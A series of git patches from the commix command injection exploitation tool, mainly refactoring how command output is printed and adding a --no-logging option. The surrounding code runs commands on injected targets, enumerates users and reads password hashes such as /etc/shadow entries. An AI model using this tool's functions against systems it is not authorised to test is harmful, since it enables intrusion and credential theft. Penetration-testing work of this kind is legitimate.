+ if settings.VERBOSITY_LEVEL <= 1:
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.command_execution_output(shell))
+ print(settings.SINGLE_WHITESPACE)
else:
- if settings.VERBOSITY_LEVEL != 0:
+ if settings.VERBOSITY_LEVEL == 1:
print(settings.SINGLE_WHITESPACE)
err_msg = "The '" + cmd + "' command, does not return any output."
- print(settings.print_critical_msg(err_msg) + "\n")
+ print(settings.print_critical_msg(err_msg))
+ print(settings.SINGLE_WHITESPACE)
except KeyboardInterrupt:
raise
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
index 2ac5a0077f..97dfe1dd38 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
@@ -546,12 +546,17 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
if shell != "":
- print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
+ if settings.VERBOSITY_LEVEL <= 1:
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.command_execution_output(shell))
+ print(settings.SINGLE_WHITESPACE)
logs.print_logs_notification(filename, url)
- else:
- err_msg = "The '" + cmd + "' command, does not return any output."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ else:
+ if settings.VERBOSITY_LEVEL <= 1:
+ print(settings.SINGLE_WHITESPACE)
+ err_msg = "The '" + cmd + "' command, does not return any output."
+ print(settings.print_critical_msg(err_msg))
+ print(settings.SINGLE_WHITESPACE)
"""
Check the defined options
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index 848faab463..64733ad09b 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -178,8 +178,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
found_cookie_injection = False
# Check if target host is vulnerable.
response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
-
- # Try target page reload (if it is required).
+ # Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate test results.
@@ -419,12 +418,16 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
shell = "".join(str(p) for p in shell)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
- print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
+ if settings.VERBOSITY_LEVEL <= 1:
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.command_execution_output(shell))
+ print(settings.SINGLE_WHITESPACE)
else:
- if settings.VERBOSITY_LEVEL != 0:
+ if settings.VERBOSITY_LEVEL == 1:
print(settings.SINGLE_WHITESPACE)
err_msg = "The '" + cmd + "' command, does not return any output."
- print(settings.print_critical_msg(err_msg) + "\n")
+ print(settings.print_critical_msg(err_msg))
+ print(settings.SINGLE_WHITESPACE)
except KeyboardInterrupt:
raise
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
index afe3683801..c10a02e45b 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
@@ -522,12 +522,16 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
if shell != "":
- print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
+ if settings.VERBOSITY_LEVEL <= 1:
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.command_execution_output(shell))
+ print(settings.SINGLE_WHITESPACE)
logs.print_logs_notification(filename, url)
- else:
- err_msg = "The '" + cmd + "' command, does not return any output."
- print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ else:
+ if settings.VERBOSITY_LEVEL <= 1:
+ print(settings.SINGLE_WHITESPACE)
+ err_msg = "The '" + cmd + "' command, does not return any output."
+ print(settings.print_critical_msg(err_msg))
"""
Check the defined options
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index e07f2459ba..acd9d990d1 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -638,13 +638,16 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if shell != "":
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
- print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
-
+ if settings.VERBOSITY_LEVEL <= 1:
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.command_execution_output(shell))
+ print(settings.SINGLE_WHITESPACE)
if not shell or shell == "":
- if settings.VERBOSITY_LEVEL != 0:
+ if settings.VERBOSITY_LEVEL == 1:
print(settings.SINGLE_WHITESPACE)
err_msg = "The '" + cmd + "' command, does not return any output."
- print(settings.print_critical_msg(err_msg) + "\n")
+ print(settings.print_critical_msg(err_msg))
+ print(settings.SINGLE_WHITESPACE)
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
diff --git a/src/core/main.py b/src/core/main.py
index aadf90c7ff..0c41cbe025 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -506,7 +506,7 @@ def main(filename, url):
pass
# Load tamper scripts
if menu.options.tamper:
- checks.tamper_scripts()
+ checks.tamper_scripts(stored_tamper_scripts=False)
except AttributeError:
pass
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index 5406a0a0cc..f3e07ab2c1 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -748,7 +748,9 @@ def shellshock_handler(url, http_request_method, filename):
if menu.options.os_cmd:
cmd = menu.options.os_cmd
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
- print("\n") + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
+ if settings.VERBOSITY_LEVEL <= 1:
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.command_execution_output(shell))
raise SystemExit()
else:
@@ -803,7 +805,8 @@ def shellshock_handler(url, http_request_method, filename):
sys.stdout.flush()
sys.stdout.write("\n" + settings.print_payload(payload)+ "\n")
err_msg = "The '" + cmd + "' command, does not return any output."
- print(settings.print_critical_msg(err_msg) + "\n")
+ print(settings.print_critical_msg(err_msg))
+ print(settings.SINGLE_WHITESPACE)
except KeyboardInterrupt:
raise
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 58d08b6d5f..fafe21a65d 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -169,6 +169,11 @@ def print_bold_debug_msg(debug_msg):
result = DEBUG_BOLD_SIGN + debug_msg + Style.RESET_ALL
return result
+# Print output of command execution
+def command_execution_output(shell):
+ result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
+ return result
+
# argv checks
def sys_argv_checks():
tamper_index = None
@@ -225,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "37"
+REVISION = "38"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 2ba2e89ae847e5f0bcbfb28a3d179974f165d0fa Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 21 Apr 2022 08:09:23 +0300
Subject: [PATCH 115/560] Added a new option `--no-logging` (for disabling
logging to a file).
---
doc/CHANGELOG.md | 1 +
src/core/main.py | 40 +----------------
src/utils/logs.py | 99 +++++++++++++++++++++++++++++++------------
src/utils/menu.py | 8 +++-
src/utils/settings.py | 2 +-
5 files changed, 83 insertions(+), 67 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index 65dcc59ab4..920701f0d3 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Added: New option `--no-logging` for disabling logging to a file.
* Revised: Minor improvement regarding redirect handler.
* Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`).
* Added: Support for heuristic detection regarding command injections.
diff --git a/src/core/main.py b/src/core/main.py
index 0c41cbe025..f577d3a445 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -281,42 +281,6 @@ def init_injection(url):
if settings.TIME_RELATIVE_ATTACK:
settings.TIME_RELATIVE_ATTACK = False
-"""
-Logs filename creation.
-"""
-def logs_filename_creation():
- if menu.options.output_dir:
- if os.path.isdir(menu.options.output_dir):
- output_dir = menu.options.output_dir
- if not output_dir.endswith("/"):
- output_dir = output_dir + "/"
- else:
- error_msg = "The '" + menu.options.output_dir + "' is not directory."
- print(settings.print_critical_msg(error_msg))
- raise SystemExit()
- else:
- output_dir = settings.OUTPUT_DIR
-
- # One directory up, if the script is being run under "/src".
- output_dir = os.path.dirname(output_dir)
-
- try:
- os.stat(output_dir)
- except:
- try:
- os.mkdir(output_dir)
- except OSError as err_msg:
- try:
- error_msg = str(err_msg).split("] ")[1] + "."
- except IndexError:
- error_msg = str(err_msg) + "."
- print(settings.print_critical_msg(error_msg))
- raise SystemExit()
-
- # The logs filename construction.
- filename = logs.create_log_file(url, output_dir)
- return filename
-
"""
The main function.
"""
@@ -847,7 +811,7 @@ def main(filename, url):
try:
response, url = url_response(url)
if response != False:
- filename = logs_filename_creation()
+ filename = logs.logs_filename_creation(url)
main(filename, url)
except:
pass
@@ -867,7 +831,7 @@ def main(filename, url):
url = menu.options.url
response, url = url_response(url)
if response != False:
- filename = logs_filename_creation()
+ filename = logs.logs_filename_creation(url)
main(filename, url)
except KeyboardInterrupt:
diff --git a/src/utils/logs.py b/src/utils/logs.py
index 7546eaa9cd..2fede93cc3 100755
--- a/src/utils/logs.py
+++ b/src/utils/logs.py
@@ -30,6 +30,43 @@
2. Check for logs updates and apply if any!
"""
+"""
+Logs filename creation.
+"""
+def logs_filename_creation(url):
+ if menu.options.output_dir:
+ if os.path.isdir(menu.options.output_dir):
+ output_dir = menu.options.output_dir
+ if not output_dir.endswith("/"):
+ output_dir = output_dir + "/"
+ else:
+ error_msg = "The '" + menu.options.output_dir + "' is not directory."
+ print(settings.print_critical_msg(error_msg))
+ raise SystemExit()
+ else:
+ output_dir = settings.OUTPUT_DIR
+
+ # One directory up, if the script is being run under "/src".
+ output_dir = os.path.dirname(output_dir)
+
+ try:
+ os.stat(output_dir)
+ except:
+ try:
+ os.mkdir(output_dir)
+ except OSError as err_msg:
+ try:
+ error_msg = str(err_msg).split("] ")[1] + "."
+ except IndexError:
+ error_msg = str(err_msg) + "."
+ print(settings.print_critical_msg(error_msg))
+ raise SystemExit()
+
+ # The logs filename construction.
+ filename = create_log_file(url, output_dir)
+
+ return filename
+
"""
Create log files
"""
@@ -93,12 +130,13 @@ def create_log_file(url, output_dir):
filename = output_dir + host + "/" + settings.OUTPUT_FILE
try:
output_file = open(filename, "a")
- output_file.write("\n" + "=" * 37)
- output_file.write("\n" + "| Started in " + \
- datetime.datetime.fromtimestamp(time.time()).strftime('%m/%d/%Y' + \
- " at " + '%H:%M:%S' + " |"))
- output_file.write("\n" + "=" * 37)
- output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url)
+ if not menu.options.no_logging:
+ output_file.write("\n" + "=" * 37)
+ output_file.write("\n" + "| Started in " + \
+ datetime.datetime.fromtimestamp(time.time()).strftime('%m/%d/%Y' + \
+ " at " + '%H:%M:%S' + " |"))
+ output_file.write("\n" + "=" * 37)
+ output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url)
output_file.close()
except IOError as err_msg:
try:
@@ -114,11 +152,13 @@ def create_log_file(url, output_dir):
Add the injection type / technique in log files.
"""
def add_type_and_technique(export_injection_info, filename, injection_type, technique):
+
if export_injection_info == False:
settings.SHOW_LOGS_MSG = True
output_file = open(filename, "a")
- output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title())
- output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title())
+ if not menu.options.no_logging:
+ output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title())
+ output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title())
output_file.close()
export_injection_info = True
@@ -129,13 +169,14 @@ def add_type_and_technique(export_injection_info, filename, injection_type, tech
"""
def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload):
output_file = open(filename, "a")
- if header_name[1:] == "cookie":
- header_name = " ("+ header_name[1:] + ") " + vuln_parameter
- if header_name[1:] == "":
- header_name = " ("+ http_request_method + ") " + vuln_parameter
- output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:])
- vp_flag = False
- output_file.write("\n")
+ if not menu.options.no_logging:
+ if header_name[1:] == "cookie":
+ header_name = " ("+ header_name[1:] + ") " + vuln_parameter
+ if header_name[1:] == "":
+ header_name = " ("+ http_request_method + ") " + vuln_parameter
+ output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:])
+ vp_flag = False
+ output_file.write("\n")
output_file.close()
"""
@@ -143,10 +184,11 @@ def add_parameter(vp_flag, filename, the_type, header_name, http_request_method,
"""
def update_payload(filename, counter, payload):
output_file = open(filename, "a")
- if "\n" in payload:
- output_file.write(" (" +str(counter)+ ") Payload: " + re.sub("%20", " ", _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n")
- else:
- output_file.write(" (" +str(counter)+ ") Payload: " + payload.replace("%20", " ") + "\n")
+ if not menu.options.no_logging:
+ if "\n" in payload:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", " ", _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n")
+ else:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", " ") + "\n")
output_file.close()
"""
@@ -156,8 +198,9 @@ def update_payload(filename, counter, payload):
def executed_command(filename, cmd, output):
try:
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n")
- output_file.write(" " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output + "\n")
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n")
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output + "\n")
output_file.close()
except TypeError:
pass
@@ -167,17 +210,19 @@ def executed_command(filename, cmd, output):
"""
def logs_notification(filename):
# Save command history.
- info_msg = "Fetched data logged to text files under '" + os.getcwd() + "/" + filename + "'."
- print(settings.print_info_msg(info_msg))
+ if not menu.options.no_logging:
+ info_msg = "Fetched data logged to text files under '" + os.getcwd() + "/" + filename + "'."
+ print(settings.print_info_msg(info_msg))
"""
Log all HTTP traffic into a textual file.
"""
def log_traffic(header):
output_file = open(menu.options.traffic_file, "a")
- if type(header) is bytes:
- header = header.decode(settings.DEFAULT_CODEC)
- output_file.write(header)
+ if not menu.options.no_logging:
+ if type(header) is bytes:
+ header = header.decode(settings.DEFAULT_CODEC)
+ output_file.write(header)
output_file.close()
"""
@@ -185,7 +230,7 @@ def log_traffic(header):
"""
def print_logs_notification(filename, url):
checks.save_cmd_history()
- if settings.SHOW_LOGS_MSG == True:
+ if settings.SHOW_LOGS_MSG == True and not menu.options.no_logging:
logs_notification(filename)
if url:
session_handler.clear(url)
diff --git a/src/utils/menu.py b/src/utils/menu.py
index d7eb5926ef..2f4b3074bc 100755
--- a/src/utils/menu.py
+++ b/src/utils/menu.py
@@ -567,7 +567,13 @@ def banner():
action="store_true",
dest="list_tampers",
default=False,
- help="Display list of available tamper scripts")
+ help="Display list of available tamper scripts.")
+
+misc.add_option("--no-logging",
+ action="store_true",
+ dest="no_logging",
+ default=False,
+ help="Disable logging to a file.")
misc.add_option("--purge",
action="store_true",
diff --git a/src/utils/settings.py b/src/utils/settings.py
index fafe21a65d..87719f8380 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "38"
+REVISION = "39"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 35a76f24abd000f4afdd17f2519b26c3f1443077 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 22 Apr 2022 08:58:28 +0300
Subject: [PATCH 116/560] Trivial update
---
src/core/injections/controller/controller.py | 8 +++++---
src/utils/settings.py | 4 ++--
2 files changed, 7 insertions(+), 5 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 0d3d5ac7bf..6ba341de85 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -324,6 +324,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. "
print(settings.print_info_msg(info_msg))
+
# Skipping specific injection techniques.
if settings.SKIP_TECHNIQUES:
menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES)
@@ -854,9 +855,10 @@ def do_check(url, http_request_method, filename):
err_msg += "."
print(settings.print_critical_msg(err_msg))
- logs.print_logs_notification(filename, url)
+ if not settings.MULTI_TARGETS:
+ logs.print_logs_notification(filename, url)
+
if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS:
- # if not menu.options.bulkfile or settings.EOF:
- # print(settings.SINGLE_WHITESPACE)
raise SystemExit()
+
# eof
\ No newline at end of file
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 87719f8380..89a3e10250 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "39"
+REVISION = "40"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -1058,7 +1058,7 @@ def sys_argv_errors():
GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM"
# Default path for tamper scripts
-TAMPER_SCRIPTS_PATH = "src/core/tamper/"
+TAMPER_SCRIPTS_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '../',"core/tamper/"))
# Default path for settings.py file
SETTINGS_PATH = os.path.abspath("src/utils/settings.py")
From cf3179b85a639e0440583db0010e43ef47f1f0fe Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 23 Apr 2022 09:18:30 +0300
Subject: [PATCH 117/560] Multiple fixes and updates
---
.../techniques/time_based/tb_enumeration.py | 69 +++++++++------
.../techniques/time_based/tb_file_access.py | 49 +++++------
.../blind/techniques/time_based/tb_handler.py | 2 -
.../techniques/classic/cb_enumeration.py | 75 +++++++++-------
.../techniques/classic/cb_file_access.py | 53 ++++++------
.../techniques/classic/cb_handler.py | 2 +-
.../techniques/eval_based/eb_enumeration.py | 69 +++++++++------
.../techniques/eval_based/eb_file_access.py | 55 +++++-------
.../techniques/eval_based/eb_handler.py | 2 +-
.../techniques/file_based/fb_enumeration.py | 65 ++++++++------
.../techniques/file_based/fb_file_access.py | 57 ++++++-------
.../techniques/file_based/fb_handler.py | 85 +++++++++----------
.../tempfile_based/tfb_enumeration.py | 69 +++++++++------
.../tempfile_based/tfb_file_access.py | 48 +++++------
.../techniques/tempfile_based/tfb_handler.py | 4 +-
src/core/modules/shellshock/shellshock.py | 75 +++++++++-------
src/utils/settings.py | 6 +-
17 files changed, 425 insertions(+), 360 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
index 5e8ed6eb42..8ab74835c8 100755
--- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py
+++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py
@@ -58,8 +58,9 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The PowerShell's version number is " + ps_version + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The PowerShell's version number is " + ps_version + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
except ValueError:
warn_msg = "Heuristics have failed to identify the version of Powershell, "
@@ -89,8 +90,9 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The hostname is " + str(shell) + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The hostname is " + str(shell) + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
@@ -149,9 +151,10 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The target operating system is " + str(target_os)
- info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The target operating system is " + str(target_os)
+ info_msg += " and the hardware platform is " + str(target_arch) + ".\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to retrieve the system information."
@@ -195,8 +198,9 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys.stdout.write(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The current user is " + str(cu_account)
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The current user is " + str(cu_account)
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
if shell:
shell = "".join(str(p) for p in shell)
@@ -206,14 +210,16 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" and it is not privileged.\n")
+ if not menu.options.no_logging:
+ output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" and it is privileged.\n")
+ if not menu.options.no_logging:
+ output_file.write(" and it is privileged.\n")
output_file.close()
else:
if settings.VERBOSITY_LEVEL == 0 and _:
@@ -223,8 +229,9 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- info_msg = "The current user is " + str(cu_account) + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ info_msg = "The current user is " + str(cu_account) + "\n"
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the current user."
@@ -274,7 +281,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
@@ -306,7 +314,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
print("\n [" +str(count)+ "] '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" [" +str(count)+ "] " + sys_users_list[user] + is_privileged + ".\n" )
+ if not menu.options.no_logging:
+ output_file.write(" [" +str(count)+ "] " + sys_users_list[user] + is_privileged + ".\n" )
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -348,7 +357,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
- output_file.write(" " + sys_users)
+ if not menu.options.no_logging:
+ output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
@@ -363,7 +373,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
@@ -403,7 +414,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
+ if not menu.options.no_logging:
+ output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
output_file.close()
except ValueError:
if count == 1 :
@@ -413,7 +425,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
sys_users = " ".join(str(p) for p in sys_users.split(":"))
print(sys_users)
output_file = open(filename, "a")
- output_file.write(" " + sys_users)
+ if not menu.options.no_logging:
+ output_file.write(" " + sys_users)
output_file.close()
else:
sys.stdout.write(settings.FAIL_STATUS)
@@ -470,7 +483,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
+ if not menu.options.no_logging:
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
output_file.close()
count = 0
for line in sys_passes:
@@ -482,7 +496,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
print(" [" +str(count)+ "] " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
- output_file.write(" (" +str(count)+ ") '" + fields[0] + " : " + fields[1])
+ if not menu.options.no_logging:
+ output_file.write(" (" +str(count)+ ") '" + fields[0] + " : " + fields[1])
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
@@ -493,7 +508,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
sys.stdout.write(settings.print_warning_msg(warn_msg))
print(fields[0])
output_file = open(filename, "a")
- output_file.write(" " + fields[0])
+ if not menu.options.no_logging:
+ output_file.write(" " + fields[0])
output_file.close()
else:
